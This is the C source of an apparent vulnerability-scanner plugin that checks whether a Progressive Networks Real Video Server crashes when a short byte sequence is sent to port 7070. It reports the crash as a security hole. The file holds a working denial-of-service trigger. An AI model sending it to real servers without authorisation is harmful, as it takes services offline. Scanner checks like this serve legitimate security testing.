/*
 * 
 * pnserver
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#define NAME "pnserver DoS"
#define DESC "\n\
It's possible to crash some versions of the Progressive Networks\n\
Real Video Server by sending it some garbage.\n\n\
Risk Factor : Medium"
#define COPYRIGHT "no copyright"
#define SUMM "attempts to crash PN Real Video Server"

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
 char buffer[6];
 int sock;
 
 if(!host_get_port_state(args, 7070))return(0);
 if((sock = open_sock_tcp(args, 7070))>0)
 {
 sprintf(buffer, "%c%c%c%c%c", 255, 244, 255, 253, 6);
 write(sock, &buffer[0], strlen(buffer));
 socket_close(sock);
 }
 else return 0;
 
 if((sock = open_sock_tcp(args, 7070))<0)
 {
  post_hole(args, 7070, 
"Crashed Progressive Networks Real Video Server\n\
Solution : contact the vendor for a fix or filter\n\
the incoming packets");
 }
 else socket_close(sock);
 return(0);
}

